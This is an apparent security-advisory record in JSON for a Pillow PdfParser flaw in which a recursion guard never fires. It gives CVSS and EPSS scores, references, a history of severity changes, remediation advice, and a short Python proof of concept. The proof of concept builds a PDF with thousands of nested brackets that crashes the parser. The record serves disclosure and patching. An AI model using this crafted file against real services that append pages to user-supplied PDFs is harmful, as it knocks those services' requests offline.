{"id":"CVE-2026-112391","aliases":["GHSA-254f-3936-288h","BIT-pillow-2026-112391"],"title":"Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()","summary":"Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()","severity":"medium","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","vendor":"pillow","product":"pillow","ecosystem":"pip","affected":["pillow >= 5.1.0, < 13.0.0"],"patched":["pillow 13.0.0"],"published":"2026-10-21","updated":"2026-10-26","sourceUpdated":"2026-10-26T08:56:17.690706279Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-254f-3936-288h","references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112391"},{"url":"https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cd"},{"url":"https://github.com/python-pillow/Pillow"},{"url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112391.json"},{"url":"https://access.redhat.com/security/cve/CVE-2026-112391"},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555851"},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-112391"},{"url":"https://github.com/advisories/GHSA-254f-3936-288h"}],"tags":["osv","pip","csaf","vex","red-hat","ghsa","cve.org"],"epss":0.00581,"epssPercentile":0.47554,"ssvc":{"exploitation":"none","automatable":"no","technicalImpact":"partial","timestamp":"2026-10-20T15:10:23.482670Z"},"cvssSource":"vendor","cwe":["CWE-770","CWE-835"],"scores":{"vendor":7.5,"cna":6.3},"ingestedAt":"2026-10-19T21:43:56.152Z","slug":"CVE-2026-112391","body":"## Overview\n\n### Summary\n`PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=<pdf>, format=\"PDF\", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.\n\n### Details\n**`get_value()` in `src/PIL/PdfParser.py`**\n\nThis is a classmethod that takes `max_nesting: int = -1` and has a guard:\n\n```python\nif max_nesting == 0:\n    return None, None\n```\n\nEvery recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else.\n\nThis advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel  `-1`  default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in  get_value() .\n\n### Steps to reproduce\nBoth PDFs below are plain text, built directly in Python, no PDF library needed.\n\n```python\nfrom PIL.PdfParser import PdfParser\n\ndef build_pdf(root):\n    out = bytearray(b\"%PDF-1.4\\n\")\n    offset = len(out)\n    out += f\"1 0 obj\\n\".encode()\n    out += root\n    out += b\"\\nendobj\\n\"\n    out += b\"xref\\n\"\n    out += f\"0 2\\n\".encode()\n    out += b\"0000000000 65535 f \\n\"\n    out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n    xref_offset = len(out)\n    out += b\"xref\\n\"\n    out += f\"0 2\\n\".encode()\n    out += b\"0000000000 65535 f \\n\"\n    out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n    out += b\"trailer\\n\"\n    out += f\"<< /Size 2 /Root 1 0 R >>\\n\".encode()\n    out += b\"startxref\\n\"\n    out += f\"{xref_offset}\\n\".encode()\n    out += b\"%%EOF\"\n    return bytes(out)\n\nbomb = b\"[\" * 3000 + b\"]\" * 3000\nroot = b\"<< /Type /Catalog /Pages 2 0 R /Bomb \" + bomb + b\" >>\"\nwith open(\"nesting_bomb.pdf\", \"wb\") as f:\n    f.write(build_pdf(root))\n\nPdfParser(\"nesting_bomb.pdf\")     # raises RecursionError\n```\n\nExpected: a clean `PdfFormatError`.\n\nActual: raises a raw `RecursionError: maximum recursion depth exceeded`.\n\n### Impact\n- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format=\"PDF\", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes.\n- Confidentiality: none.\n- Integrity: none.\n- Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.\n\n## Affected packages\n\n- `pillow >= 5.1.0, < 13.0.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pillow 13.0.0`\n\n## Vendor advisories\n\n- **Red Hat VEX** · Important · affected: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, Red Hat Ansible Automation Platform 2, Red Hat Enterprise Linux 8, … · no fix planned: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, … · updated 2026-10-23 · [vex](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112391.json)","depth":"sunlit","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[{"seq":229268,"id":"CVE-2026-112391","ts":1793016125324,"field":"severity","old":"high","new":"medium"},{"seq":228115,"id":"CVE-2026-112391","ts":1792758102350,"field":"severity","old":"medium","new":"high"},{"seq":227406,"id":"CVE-2026-112391","ts":1792617248957,"field":"severity","old":"high","new":"medium"},{"seq":227051,"id":"CVE-2026-112391","ts":1792585044462,"field":"cvss","old":"6.3","new":"7.5"},{"seq":227050,"id":"CVE-2026-112391","ts":1792585044462,"field":"severity","old":"medium","new":"high"}]}